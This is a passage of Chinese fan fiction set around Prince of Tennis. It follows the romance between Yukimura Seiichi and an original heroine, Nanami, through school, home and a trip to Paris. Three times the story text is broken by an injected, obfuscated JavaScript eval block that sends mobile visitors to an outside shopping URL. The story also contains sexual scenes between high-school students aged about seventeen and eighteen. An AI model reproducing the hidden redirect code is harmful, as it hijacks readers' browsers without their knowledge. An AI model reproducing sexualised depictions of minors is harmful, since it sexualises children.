“没事,不用这么紧张我,走吧,回教室吧。”七海笑眯眯地走上前牵住了他的手,少年的目光骤然温和下来。 中午吃饭时亦是如此,她被稳稳当当地保护在圈子中,堪称360度毫无死角。 “喂,二阶堂。”七海坐在幸村精市身边吃着据说是招牌的立海咖喱饭,头顶传来了一道有些陌生又有些熟悉的娇俏嗓音。 她抬头,原是故人。“柳生?好久不见呐。”七海笑眯眯地打了个招呼。 “小南?”坐在隔壁桌的柳生比吕士也有几分诧异。 柳生南莫名噎了一下,这个女人被这样针对怎么看起来都还乐呵呵的,真是枉费她为她偷偷做了这么多! 少女将双马尾往后一撩,臭着脸轻推了一下畏畏缩缩地站在她身边的一个女生,“给她道歉!” “二阶堂桑,那个,很抱歉,之前偷偷把拖把堵在卫生间门口,还有......”女生瑟缩着把一堆小儿科的霸凌行为一一道来,七海越听越无语,搞了半天,这两天大部分报复行为都是她在背后指示。 “你喜欢精市吗?”待她说完一通话,七海问得十分直接。 她讷讷地点了点头,七海见状嘴角勾起一抹讥讽拉满的笑:“很遗憾,你不配。别说和他在一起,连喜欢他你都不配,滚吧,别留在这里脏了大家的眼。” “哦对了,以防你不知道,那天午休的事,是我做的。”女生被骂红了眼,转身正欲逃走,七海在她背后漫不经心地吐出真相。下一秒,那道背影猛地一颤,愈发飞速逃窜离去。 “午休的事?什么事啊七海?”丸井文太好奇道。 “是秘密~” 七海起身走到面色不虞的双马尾少女跟前,笑意盈盈:“柳生,谢谢你帮我。” “是那个人太惹人厌。”柳生南撇撇嘴,“之后我不会再帮你了,除非你加入女网部。” “女网部我就不去啦,你们加油吧。” “哼,随便你,爱来不来!” 少女甩了甩马尾,领着身后一帮女网部的选手雄赳赳气昂昂地离去。七海目送着,没藏住眼角眉梢的笑意——柳生同学,你真的很傲娇啊。 -------------------------- 大概是主犯已经被解决的缘故,下午七海便再也没有遇到什么“凑巧”的倒霉事件。 反倒是和幸村十指紧扣地走进立海大网球部时,围观群众中居然有男生喊“二阶堂同学,我们棒球部的部长也还是单身,要不要考虑换唔——”,只是,话不知为何没能说完。 “看来,是时候和棒球部办一场友谊赛了呢。”幸村微笑着,身后的柳莲二点了点头,“部活后我会去和棒球部联络。” 七海又感知到了那股熟悉的危险气息,不必说,她现在已经彻底明白了,这股气息的真实成分是什么。 ...... 结束部活,少年们去更衣室换衣服,七海想起来还有本书忘了拿,便和幸村精市知会了一声,独自折返回教室。 黄昏将退,天边的夕阳缓缓沉入海平面,天空渐渐染上了深深浅浅的蓝。 走在路上时她尚未能意识到这抹蓝的震撼,直到她打开教室的门。 窗外,整片天空连着海面都呈现出一种深沉而静谧的蓝调,浓郁得几乎令人心醉。蓝色透过窗户渗进教室,将一切都浸透笼罩于这抹深邃的蓝中。 课桌椅面反射着窗外的蓝色光芒,像是被罩上了一层深蓝的纱。墙壁上挂着的教学海报也被蓝色的光线渲染,每个字都变得模糊不清。 似乎一切年少心事,青春的酸涩点滴都被隐藏在这一刻,被隐藏于这片沉郁的蓝中。 那是,属于神奈川,属于镰仓,属于立海大的blue hour。 日落前的最后二十分钟,蓝调时刻。 幸村精市走到二年B组门口时,看到的便是几乎要融入这片深蓝中的少女的背影,她静静地站在窗边,接着,回首。 她的面庞在这一室将暗未暗的深蓝中显得格外柔和,只有两点眸子透着亮。 “精市,你来啦。快看,好蓝,好美。” 他没有回答她的话,只是走到窗边,温柔地为她捋了捋额边和鬓边的碎发。 “精市,怎么了?” “七海,我觉得我们该做点什么。” 七海红了脸,却没再说什么,只缓缓地闭上双眼。 她的唇被他轻缓地衔起,一遍遍耐心吮咬着,像是在品尝什么绝世珍馐。 七海试探性地越界,立刻被抓住,唇舌相接的下一刻,少年的手臂穿过她披散在后背的发丝,揽住她的腰迫使她向他贴去,加深了这个吻。 被吻得太过深入,身体里像是燃起了一团火,七海浑身一阵阵发烫,再想要伸手推开,身前的人却纹丝不动,甚至变本加厉地向她迫近,将她的气息和意识一点点蚕食得一干二净。 深蓝色的窗景前,两道相拥的背光剪影慢慢向她身后的桌子压下。 “七海,站不住了吗?”幸村精市松开唇,呼吸丝毫没有紊乱的迹象,身前的少女深紫色的瞳孔迷离闪烁着,面色泛红,一手勉力揪住他胸前的领带,小口小口地喘着气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687255|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见她羞臊不语,幸村干脆地钳住她的腰将她托起,轻放在身后的课桌上。 “我们继续。” 天色渐暗,蓝调也隐于更为深邃的黑夜中,月色浮上镰仓的海面,冷白的月光竟将教室内照得有几分明亮。 抽气声缭绕在教室里,七海浑身发软,上身无力地靠在他身上。 她勉强才吐出几个字:“精市,不行......这里不行......” “是在教室里不行?还是我碰你的地方不行?”他轻笑一声,将她的头揽住放在肩上。侧过头,温热的呼吸和鼻息不住地冲着她的耳廓喷洒,感受着她轻微的颤栗,幸村勾起唇角。 “都,都不行......再不回家,嗯!......” “七海,你好可爱,我好像忍不住了。”少年的声音带上了一丝柔哑,附在她的耳边,透出调笑的意味。 “不行,会有巡查的老师过来,会发现的......”七海勉强维持着清醒,断断续续地回应着。 不知道是否是她的话尤其容易成真,话音落地没多久,走廊的另一头就传来了一阵有节奏、逐渐清晰的脚步声,伴随而来的还有几句抱怨。 “这个老东西,又说家里有事找借口离开,搞什么嘛,今天的巡查又变成我......”青年人嘴上嘟哝着,路过二年B组的教室时却无意瞥见靠窗位的后方课桌上不知放着什么,漆黑一片中,勉强能看出是个长方体。 男教师皱着眉走进教室,手电筒照向课桌——原来是个书包,再随意地照了一圈,教室里空无一人。 “啧,哪个学生这么粗心,连书包都不带回家。这可不符合立海大的学风啊!” 老神在在地摇着头,他背着手踱步出教室继续往走廊另一侧走去。 教室的杂物柜里,两道过快的心跳渐显。 狭小的空间中,七海的背紧贴着冰凉的柜壁,他站在她面前,他们的身躯紧紧贴在一起,角落靠着把扫帚。 方才对被发现的担忧和慌乱随着巡查老师的离去落地,七海这才感受到有什么东西杵着她,却不是其他的杂物。 她在昏暗中抬头望向他,故作镇定:“精市,我们赶紧趁现在回去吧,你家里长辈还有妹妹都在等你。” “七海,别装傻。”幸村精市盯着她柔声道,直接点破了她的欲盖弥彰。月光只勉强透过柜子的条状缝隙洒进来一点,她却依旧看清了他瞳孔中涌动着的过分深沉的情愫。 “精市,不是不行,只是时间不合适......”她的脸涨得通红。 她是想和他......只不过她还打算精心准备一番呢,第一次要留下美好的回忆,不能随意地就...... “不做到那里。我和他们说过了,今天要去真田家拜访。七海,昨天你说家人在出差对吗?”幸村勾了勾唇。 七海傻眼,不做到那里,那他想干嘛?还有去真田家,他是什么时候说的,她怎么不知道?还没等她抛出一个个问题,他的手便探上了不该去的地方。 身体像是有电流窜过,她的瞳孔在黑暗中忽地放大,散发出水雾般朦胧的光芒,嘴里条件反射地吐出一声轻吟。 纤长的黑发与鸢尾紫的发丝纠缠在一起,随着两人的呼吸轻轻摇曳。 揉捻撩拨之下,体温在逼仄的空间内快速攀升,燥热与暧昧快要凝结成实质,在神奈川的夏夜化作一股汹涌的热流,将他们紧紧缠绕。 她无助地向他倒去,眼前本就昏暗朦胧的人影越发模糊不清,他贴着她贴得太紧,无法坠落,退无可退。 她的身躯轻颤着,意识一次次炸开收拢。 “七海,别出声,安静地去吧。”幸村精市扶住她的肩,目光沉沉地凝视着身前的人被情欲染上姝色的模样,再次勾起她的下巴堵住了她的唇。 169.第 169 章 【“七海,我的化学这次没考好,你能帮我补习一下吗?”】 七海终于后知后觉反应过来,每当幸村精市这个人提到补习时,多半是以补习为借口行一些不正经之事。 譬如此刻,土曜日的下午,他们本该在她家的茶室里专心补习,学着学着她便发现有些不对劲。 蝉鸣做背景,风铃悬挂于庭院的走廊上方,随着夏风的吹拂,碰撞出清冽的铃声。庭院里的惊鹿反复垂下翘起,有规律地发出嗒、嗒的清脆敲击声。 她盘腿坐在他身边,矮桌上放着化学课本,七海耐心地讲解着题目,边上的人却一直默不作声。 侧过头,七海毫不意外地发现幸村精市正盯着她看,而不是课本,“精市,你到底还要不要补习化学了!” “七海,你知道我的化学为什么学不好吗?”他岔开了话题。 七海没料到他会提到这一茬,愣了愣:“为什么?” “因为,化学药品的味道会让我联想到医院。”幸村精市眉宇间闪过一丝黯淡,紧接着又歉然道:“抱歉,七海,我知道你也害怕那个地方,不该说的呐。” 七海顿觉心疼不已,语气立刻放缓了。“精市......没关系的,我们慢慢来。” 少年在她看不见的角落微微扬起唇角。 “七海,我感觉有点难受......” 因为她的消失,他患上了失眠的毛病,在很长一段时间都需要医生开药才能睡着,即使睡着也总是从梦中惊醒。自从她知晓这件事,对身旁少年的心疼又深重了许多。 同样的,自从幸村精市从她口中得知她消失后是被留在了那样一个孤寂无边的地方,他的心疼亦如是。 他们像是两只伤痕累累的小兽,互相为对方舔舐着伤口。当然,有时候自揭伤口也不过是神之子诱人深入的示弱手段罢了。 很显然,在权谋这门学问上,七海的造诣还比不上身旁的少年。 “哪里难受?”七海紧张地松开盘着的双腿,挪了挪位置,跪坐到他跟前,眼神在他的身上乱飞,丝毫没有注意到那对眸光逐渐幽深的蓝紫色瞳孔。 “有些呼吸困难,七海,你能让我抱一下吗?” “好。”她忙直起身伸出双臂主动抱住了他,头抵在他的肩侧,乖巧地一动不动。 幸村精市笑得无奈,这几天他总算切实体会到到美色误人这四个字的深意,真是糟糕。只是,今天大约也不能全怪他—— 因着是来她家补习,家中父母哥哥都不在,七海便穿得十分随意。 一件水色罩纱的吊带短裙,领口有点低,胸前的肌肤和纤长的锁骨一览无余,他每每试图侧目看向课本,一些美景就直往他眼里撞,她光着腿在茶室的榻榻米上走来走去,他似乎也无法忽视。 他大概已经掉进了神织就的陷阱里,心甘情愿被她捕获,再也无法逃脱。虽然,眼下,似乎掉进陷阱里的人是她。 “七海,你的头压得我的肩膀有点痛。” “啊?啊,抱歉,那我——”她抬起头,有些尴尬,视线逡巡了一圈,不知道该怎么做。 “这样就好了。”他喟叹了一声,揽过她的头,两个人的额头贴在一起。 如此近的距离,七海总算看清了他的眼神。 “七海,我也是男人呐。你这样穿,我好像没法好好补习。”幸村轻笑一声,轻抚着她白皙的脖颈,将唇贴了上去。 一顿耐心的攻城略地后,顺着耳廓,吻一路向下,直到脖颈边,她弥散的意识突然被一下轻微的钝痛给收拢了,她这才意识到他在她的颈侧不轻不重地咬了一口。 “这里,还有其他地方,以后只能被我亲,七海,记住了吗?”他柔声道,一字不落地传进她的耳中。 “精市......”只是被轻捏住后脖颈,她的声音便已抖得不像样。 少年抬头,四目交汇之下,他再次勾起唇角,笑意温和,说出的话中却暗藏着别样的隐晦:“七海,你真的很敏感呢。不过,我很喜欢,无论是哪里。” 温热的唇瓣一次次掠过肌肤,沉迷地吮咬着,手也一同沿着大腿向深处攀去。 “精市......门没拉上,太亮了......”七海仰头不住地抽气,两手勉力撑着地面。 阳光静静地倾斜而入,为茶室和她镀上一层暖意融融的光晕,她的额头和鼻尖沁出一丝丝细汗,红晕早已爬上脸颊。 幸村精市压低音量,“害羞了吗?” “嗯。”她咬着唇别开脸,微不可见地点了点头。 “那我去把门拉上。”他收回手起身,走到廊下将两边的门拉上。 随着门的轻轻合拢,原本明亮的和室陷入昏暗,漏出门缝的光线柔和地穿过地板,将暗室分割成两边。纸门上透出庭院墙角疏密有致的竹影,蝉鸣被隔于门外,屋内静悄悄。 夏风吹过,竹影摇曳不止,时隐时现的低吟和低哑的安抚声于隐秘的一隅交织,流淌。 ...... 庭院里的惊鹿垂头又翘起了十数次,纸门再次被拉开,一室旖旎随着新鲜空气的涌入渐渐散去。 “好了,我们继续补习吧。” 七海从方才的失神中缓过来,听到幸村精市这句补习,差点没被气笑。 下次她再信他的示弱她就是笨蛋!他弄她弄得别提有多愉快了,还非要附在她的耳边故意说些撩人的话,明知道她哪里最经受不住撩拨......神之子实在太可怕太狡猾了! 而且自从那天在教室里他们......他就变得热衷于拉着她在学校的各个地方......放学后的美术室,午休时的花园,海原祭那晚去的天台,甚至连毛利学长告诉他的秘密休憩点他也没放过。 “七海,生气了吗?”他微笑着走回茶桌前,在她身侧坐下。 少女别别扭扭地微侧过身子,拒绝和他的视线交汇。“有点,哼。” “对不起,是我没忍住,原谅我好吗?” “......好吧。”她也拿他无可奈何就是了。 接下来的时间,倒是正经地学起了化学,直到时针指向4,今天的学习任务总算是完成了。 “精市,我过几天就要回欧洲了。”七海边合上课本,边默默然开口。 她回来已经两个多月,倒是都和第一梯队的几个教练联系上了,他们已经知道她的回归,并约定好近期要回欧洲一趟,完成分内工作。 “七海,你要去的地方,我和你一起去。”前日,有个人意外地出现在立海大,他瞒着她和那个人打了场比赛,既然知道了此人的心思,现在他不可能放她一个人去欧洲。 七海呆愣了几秒,“但是六月份还有东京都大赛,而且你不是不参加今年的法网嘛?” 法网比赛再过一周就开始,即使他们去了法国也顶多是看看比赛罢了。 “东京都大赛,即使我不在,立海大也必将取胜。我正好有事回协会一趟,七海,我们一起去好吗?” “可是我一去就是一个月......” 她仍有些犹豫不决。她大约高中毕业后要就正式开始日本职网协会并俱乐部还有四国顾问三方的工作,所以高中的成绩对她来说并不重要了,可他却未必。 “七海是担心影响我的学业吗?”他浅笑着望着她。 “嗯,有点吧。”她诚实地点了点头。 “我学得很快,不是说无论何时都相信我吗?”幸村精市搬出了那句话,她便意识到自己再无法拒绝了。 “那好,我们一起去。” 幸村又提起了另一件事:“大学,我想去法国读美术专业,七海,你愿意一起来法国读书吗?” 话题转换得太快,七海托腮思考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701198|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一阵。 这个规划对于精市来说倒是很合适,既可以继续精进他的绘画技术,也方便他在欧洲打比赛。美术系应该课程相对松散,能上交作品就好。 她本来是不打算读大学了,不过,法国也是个适合常驻的根据地,毕竟法网和温网都很近,方便她进行顾问工作,假期时她再回日本。 “倒不是不可以,只是——”话掉在了地上。 她突然意识到,除了网球,她一无所有。 一时半会儿让她想出一个想读的其他专业,还真有点难度。酒也只不过是另一段人生她为了麻痹自我衍生出的兴趣,她并不打算当做专业去学。 少年伸出手将她的脸轻侧,凌厉的视线与她交汇,他的语气突然变得极其认真: “七海,你值得拥有属于你自己的人生。法国是我的渴望,你不需要只考虑我。” “去寻找自己热爱的事物吧。” “精市......”她突然眼眶发热。 幸村轻柔地揉了揉她的头,“网球很好,但也有其他有趣的东西,七海,自己好好想一想。” “好。” 敲定了一起去欧洲的事,七海将桌上的笔收进他的笔袋里,却注意到了笔袋的暗袋拉链半开着,里面似乎有张纸条。 “精市,这个里面有什么吗?”她偏了偏头,将好奇的视线投向身旁那双柔和的鸢尾色双眸。 “那里面是海原祭我抽到的那张纸条,想知道写了什么吗?”幸村精市漫不经心道。 七海点头,“想。” 她前几天还想起了这桩事呢,她早就想知道了。 “你不妨先自己猜一猜。”幸村极其自然地将她的身子揽于胸前,拢住她,将头搁在她的肩上,笑道。 七海挑了挑眉,想起那天抽到那张纸条他的心情似乎挺不错的,一通苦思冥想从脑子里挑拣出了几个好词。 “天作之合?” “不是呐。” “那,一见钟情?”说完她自己先傻笑起来。 “也不是。” 连猜了几个四字词都不对,她忍不住发问。“那到底是什么?” “七海,你自己打开看吧。” 七海从善如流地拉开拉链,摸出那张纸条,摊开,动作顿住了。纸条上写的四个汉字是—— “会者定離” 代表的意思是......相遇的人终有分离的一天。她的心猛地一颤,心底卷起惊涛骇浪,这分明是个不好的词,前半句,更糟糕。可为什么,那天他看起来并不沮丧。 明明看不到她的表情,他却透过她僵硬的身躯轻易猜出了她心中所想。幸村精市缓缓开口: “那时候我不怕这四个字,七海。因为你,我相信命运是可以被斩断的。” “直到你离开。” 直到那个月夜,她消失在他面前,一切的笃定被粉碎得一干二净,命运无情地嘲笑着他的自以为是,痴心妄想。 那几个过分真实的梦,似乎更加论证了这四个字。他在梦中一次又一次不得,一次又一次选择避而不见,仿佛只要不见,便可佯装一切从未发生过。 如果没有她最终做出的选择,那么于他而言,宿命便是避无可避,无法违抗之物,他只能走在命运的风中,被无情地吹拂。 还好,没有如果。 “精市,你知道我抽到的是什么吗?”七海轻笑一声。 幸村精市回想起那天,她问的是——【“我要占卜......未来,总的未来。”】 身后的人无言着,她自问自答:“是,天命难违。”搁在肩上的头忽地抬起来。 七海转过头,嘴角挂着释然的笑意。 “所以,根本没有所谓的命运不是吗?” “只有——” “事在人为。”两道声音同时响起。 170.第 170 章 该来的终于还是来了。 “小七,你老实交代,那天地震给爸爸妈妈打电话的少年是谁?”二阶堂美穗坐在餐桌一边,锐利的视线直直地盯着对面神色自若的少女。 “不是在电话里告诉过你们了嘛,就是一个同学。”七海撇撇嘴,伸出筷子夹了一块炸鸡块送进嘴里。 二阶堂悠人平静道:“小七,别想瞒着爸爸妈妈。” 今天,难得七海她哥也在。二阶堂流川嗤笑一声,挑了挑眉,“幸村精市?” 不知道为什么他就是无法不在意那个少年,又或许是他的阅历比那个少年深得多,一眼就看出了他的心思。 七海瞬间僵住了。而她的僵硬当然没能逃过餐桌上另外三个人的火眼金睛—— “小七,你果然和那个很温柔的男孩子在一起了是不是!”分明已经年过四十,二阶堂美穗兴奋起来却还是那副少女情态,伸出手就抓住七海的胳膊疯狂摇晃。 自知自己再不承认就要接受家人的360度无死角三堂会审,七海揉了揉眉心,无奈道:“是啦,是精市。”至于温柔......她持保留态度。 “呵,果然是他。”青年臭脸。 接下来的时间,七海在二阶堂美穗的猛烈攻势并旁敲侧击下,被迫吐露出了许多两人之间的往事。譬如他们的相识,以及她“去欧洲游学”时“顺便”跑去美国陪他做手术,以及过几天他还要陪她去欧洲...... 饭后,二阶堂美穗神神秘秘地把自家女儿拉到了她的卧室,两人在床上坐下,少妇面色一转严肃。 “小七,你告诉我,你们进行到哪一步了,有没有那个?” “什么那个?”虽然她知道妈妈指的是哪个,不过这时候还是稍微装傻矜持一下好了。 “那就是还没了。”二阶堂美穗了然,轻抚胸口松了口气,“妈妈虽然嘴上说着没事,不过嘛,还是怕你们没有防护措施就过界了。” 紧接着,少妇脸上又浮现出不解的神色,“你们认识这么久,哎呀,我们家小七这么可爱,那个男孩子居然也能把持得住。他该不会不行吧?外强中干?” 七海抽了抽嘴角,不,他应该挺行的......毕竟上次在杂物柜,她都被他杵着了......啊!她在想什么东西,不能想不能想了! 她猛地摇了摇头,好在坐在身旁的人此刻正捧着手机不知道在干什么,没注意到她变了又变的神色。 收起手机,二阶堂美穗这才开口。“我刚才去网上搜了哦,幸村君真是十分优秀啊,小七,不如妈妈教你怎么早日把他拿下?”话说到最后,少妇的嘴角浮现出一个诡异的笑容。 “啊?”七海还没反应过来,二阶堂美穗就将自家女儿一把拉到身边,附到耳畔叨咕了一通,并满意地看着自家女儿的脸颊逐渐变得通红,甚至隐有轻烟从头顶冒出。 “妈,妈妈......”七海磕磕巴巴,“你确定那样真的有用吗......” “肯定有用的!哦对了,你那些睡衣都不够诱惑,你们大后天就要出发了对不对,明天妈妈请个假,晚上我们去银座逛一下,妈妈给你挑几件.....” 二阶堂美穗的笑容越发不怀好意,七海不祥的预感越发深重。 ------------------------- 两日后,东京羽田机场。 “精市,好好照顾七海。”幸村爸爸站在接驳口平静道。 “我会的,父亲母亲,你们去忙吧。” “嗯。” 目送着中年夫妻回到车上驶离,幸村精市这才牵起身侧少女的手,温润一笑,“七海,我们走吧。” “好。”七海回道,旋即不由自主地发出一声感叹。 “精市,感觉你的性格和你爸爸更像呢。” 长相则是和他的妈妈更像,简直像是从画卷里走出来的大和抚子,她从未见过那么优雅貌美的女子。 “嗯。我和父亲的爱好比较相似,以前都是一起去古典音乐会。” “这样。”她随意地点了点头,“哎,可惜我对这些高雅的事物一窍不通。”她多半会是在听古典音乐时打瞌睡的类型,画画嘛,也只是幼稚园的火柴人水平,她还是有自知之明的。 “七海,你不需要进入我的世界。”他停下脚步。 “精市,你知道吗。”她也停下脚步,凝望着他。 【如果没有网球,我就什么都没有了。网球就是我自己。】 “如果没有网球,我就什么都没有了。网球就是我自己。” “我现在才发现,这句话或许更适合我。精市你热爱绘画,真田会剑道书法,柳更是围棋茶道样样精通,仁王对建筑设计感兴趣......立海大的大家都有除了网球之外热爱的事物。” “可是,我的世界,除了网球,好像就真的什么都没有了。”她的声音在颤抖。 少年松开握着行李箱的把手,毫不犹豫地将她紧紧拥入怀中,一遍遍轻抚着她脑后的发丝,瞳孔中划过一道痛惜。 “七海,这些年来辛苦你了。如果不知道自己喜欢什么,以后我带你去寻找,好吗?” “好。” ...... 抵达巴黎的酒店已是傍晚,夏风吹拂过塞纳河,掀起粼粼波光。幸海两人预备在酒店里洗个澡,洗去一路风尘后去塞纳河畔散步,明早再去协会。 七海蹲下身打开自己的行李箱,将换洗的衣物和其他必要生活用品一件件取出,动作却忽地顿住了。 小格子里隐约透出的那点白色蕾丝提醒着她那里面放着的是什么,这倒没什么好说的,只是,她打开的这个不知道哪里冒出来的布袋子里的东西是怎么回事啊! 摸索着,居然还有张纸条—— 【小七,一定要记得做好防护措施!这些东西以防你不时之需^^,不用害羞哦,享受最重要。 by妈妈】 妈妈,你年轻时候玩得真的很花啊......七海边抚额边在心中暗自吐槽着,幸村精市总算注意到了她这边有些异样的安静。 “七海,怎么了?” “啊,没事没事......”她连忙起身向右迈了一步挡住地上的行李箱,讪笑着摆手,心中天人交战着:怎么办,今天就办了神之子吗? “有什么是我不能看的吗?”他浅笑着,似乎只是普通地在好奇。她大概不知道,她的欲盖弥彰实在过分明显。 “没有,我只是在犹豫待会儿该穿哪件衣服出门。”七海咽了口口水,盯着身前的人故作镇定道。 少年将视线移向床上放着的一套衣物,“可是,要穿的衣服不是已经放在床上了吗?” “啊,是哦,我忘了,呵呵。”七海拿起床上的衣物就一溜烟跑到浴室关上门——糟了,忘了关上行李箱!! 她再次颤颤巍巍地打开门,试图透过门缝观察幸村精市的反应,却发现他已经微笑着站在门口,一副等着她开口解释的姿态。七海正准备关上门逃避回答,门却被他的手用力按住,随后彻底推开。 “七海,原来你这么想和我做那件事呐。”幸村轻笑一声,一步步向她逼近。 她一步步后退,直到退到浴缸边沿,再无处可躲。“精市,那个不是我准备的,你,你别误会。”七海慌张道。 “那就是不想和我做了?” “不是,我——”待她说出不是这两个字,一切都迟了。 “不是就好。七海,你知道吗,我忍得很辛苦呢。”少年眉眼弯弯,擒住了她的双臂,再不掩饰眼中翻涌的欲望。 “今晚,可以吗?” 七海愣愣地望着他,他分明是在征求她的意见,她却有种假如自己拒绝了会带来更加不得了的后果的预感。 既然她本来也准备趁着这次欧洲之旅......那要不干脆就顺从他?毕竟,他们正式交往的这段时间以来,他确实忍得很辛苦。 这么说来,他为什么要忍着?他分明不是会忍着的性格。 “精市,那你之前为什么忍着?还担心你是外强中干......”七海问道,又回想起了那天晚上妈妈的担忧,不自觉就说秃噜了嘴,糟,糟糕...... 幸村的笑容更甚,“本来打算等明年三月我们就登记结婚呐。不过,好像确实忍不到那个时候了。” 七海这才反应过来,明年的三月他就成年了。他十八岁,她十七岁,确实满足日本的结婚年龄要求......可是这也太早了吧! “精市,可是我不想那么早结婚......”四目相对,她轻声回道。 “嗯,后来想了想,确实不能就这样结婚呢。”出乎她的意料,他并没有强势地驳回,反而点了点头认同了她的话。 “所以,等我取得大满贯,我们再结婚,好吗?”他边说着,边自顾自地开始为她解衬衣扣子。 七海再次愣住了,甚至没有伸手阻止他解扣子的行为。 “大满贯,很难啊......” “七海,你相信我对吗?” “嗯。”这个问题,她的回答永远只会有一个。 “那就够了呐,我会尽快取得大满贯。”他勾起唇角。“至于我是不是外强中干,试一试不就知道了吗?” 她的衬衣纽扣已彻底被解开。“七海,可以吗?” “好过分,衣服都脱了,难道我还能说不可以......”七海别过脸,羞恼道。 “那我们先清洗一下。” “嗯。”她的声音细如蚊呐。 浴室中水声潺潺,花洒喷出的温热水柱打在赤裸的肌肤上,发出阵阵沙沙声响。水流顺着发梢滑落,穿过发丝的水珠在明亮的灯光下泛起淡淡的水光。 喘息声渐渐溢出,断断续续地泄露在狭小的空间里。坐在浴缸里,他的唇瓣贴上她的脖颈,双手由上至下顺着她的曲线游移揉捏,带起一阵阵战栗。 “精市,呜......”她靠着他的胸膛难受地仰起头,只觉得电流直往下窜,呼吸逐渐变得急促,身体也止不住地发软打颤,她下意识伸手紧扒住了湿漉漉的浴缸把手。 “分开一点,乖。” “不,不行......嗯......” 再次恢复神志,已是他把她抱回床上放下,幸村精市在床边坐下,为她吹着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715107|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半干的长发。 “我已经不行了,精市,你把我的五感剥夺吧。”七海直挺挺地趴在床上,把脸埋进枕头里,闷声胡言乱语着,像是埋进沙子里的鸵鸟。 只要她看不到,她就没什么好羞耻的! “怎么能行呢,我们还没开始呐。”幸村轻笑一声,手指拨弄着她背上的乌黑发丝,风筒的热气随着手上的动作上下吹拂,嗡声之下,对话不甚清晰。 蓝紫色的发丝微蜷着贴在他的脸颊两侧,不住地往下滴着水珠,他的头发并未完全吹干,他却不甚在意,只耐心地将她发梢的最后几滴水珠也吹干,这才关掉开关。 “七海,你准备了什么,穿给我看,好吗?”他俯下身在她的后腰上轻啄了一下,冰凉的发丝和温热的唇触到她的肌肤,她又是一下轻颤,抱着枕头的手瞬间攥紧了。 “好吧......换是可以,但是要关上灯。”开着灯的话,她今天就保持这个姿势不打算再动了。 “好,我去关灯。” “然后,你要躺床上闭上眼,不许偷看我。” “好。” 耳畔传来两声“啪嗒”,紧接着是一阵布料摩擦声,而后了无声息。七海这才敢抬起头,瞟了一眼乖乖闭上眼躺在她边上的少年,稍稍放下心来。 旋即,她像是做贼心虚般,乘着窗帘缝隙透出来的月色踮着脚走到行李箱前,将那天去银座买的那团白色蕾丝比到眼前—— “第一步是......完了,忘了这里该从哪里穿过去了......怎么这么多带子和洞啊......” 她研究地太过认真,完全没有注意到身后传来的细碎的动静。等到终于穿好,正欲转过身时,她的双臂却被滚烫的两只手钳住,她的身子被轻易地掰过来。 月光打在她的身上,将一切都变得朦胧。他在看到她的正面的一瞬,喉结上下滚动了一番。 幸村精市轻叹了口气。“七海,下次这样的衣服,留在重要的日子穿。” 七海本人在身子被掰过来的下一秒就闭上了眼,主打一个掩耳盗铃。听到这样出乎她意料的评价,反倒下意识睁开了眼,呆愣地发问:“为什么?” “如果每天这么穿,我恐怕没有心思打网球了呐。”他的唇角扬起,眼神却越发幽深,蓝紫色瞳孔中似有暗流涌动。 七海的心脏在胸膛里狂跳不止,她突然不敢直视他幽深如渊、暗含着一些令她有点害怕的东西的凌冽目光,小心翼翼地移开视线,他却伸手轻捧住她的脸颊,强迫她直视自己。 “七海,我想要你。” 将身前的人打横抱起平放到床上,少年俯下身,直截了当地撬开她的齿关。 他吻得忘情而深入,空气中很快只余她的呜咽声和吮吸发出的轻啧声。 瞳中的光跟随着迷离的意识渐渐涣散,漾起层层迷雾,她再次看不清他了,眼中剩下重叠而模糊的蓝紫色影子,不知是他的眼还是他的发丝。 执笔拿拍的手探索着温软,唇为笔,在肌肤上四处游走,描绘着一切美好。 一些微妙的感觉在她体内渐渐升腾,仿佛有一股暗流在身体的每个角落流淌、搏动,缓缓延烧,将她的每一寸肌肤都点燃,如同被火苗舔舐。 火连着一阵阵电流般的战栗自上而下游走在她的神经上,震颤着将她推向未知。 幸村精市知道她很美。 金井综合病院的床上,她落着泪嘴里却倔强不服输的模样; 他家画室的那片昏暗中,她被他吻得失神的模样; 江之岛的黄昏下,她说着决心才可战胜宿命的模样; 海原祭的夜晚,她与旁人在灯光下起舞的模样; 美国纽约病房,她和他扒在窗边遥望月色的模样; 格里菲斯天文台,她对他说“他到达属于他的黎明”时发丝被夜风吹起的模样; 她走的那天,背靠月色,在海滩边脚踩着浪花似近实远的模样...... 在她离开的第一个月,他画过无数张不同的她,妄图将她留在他的回忆里。可是过往的一切模样,都不及此刻的她,全身心属于他的她。 “七海,放松点。”他轻缓的分开她的退,伸出手与她十指相扣,口中的话连同他的欲望沉沉压下,推进。 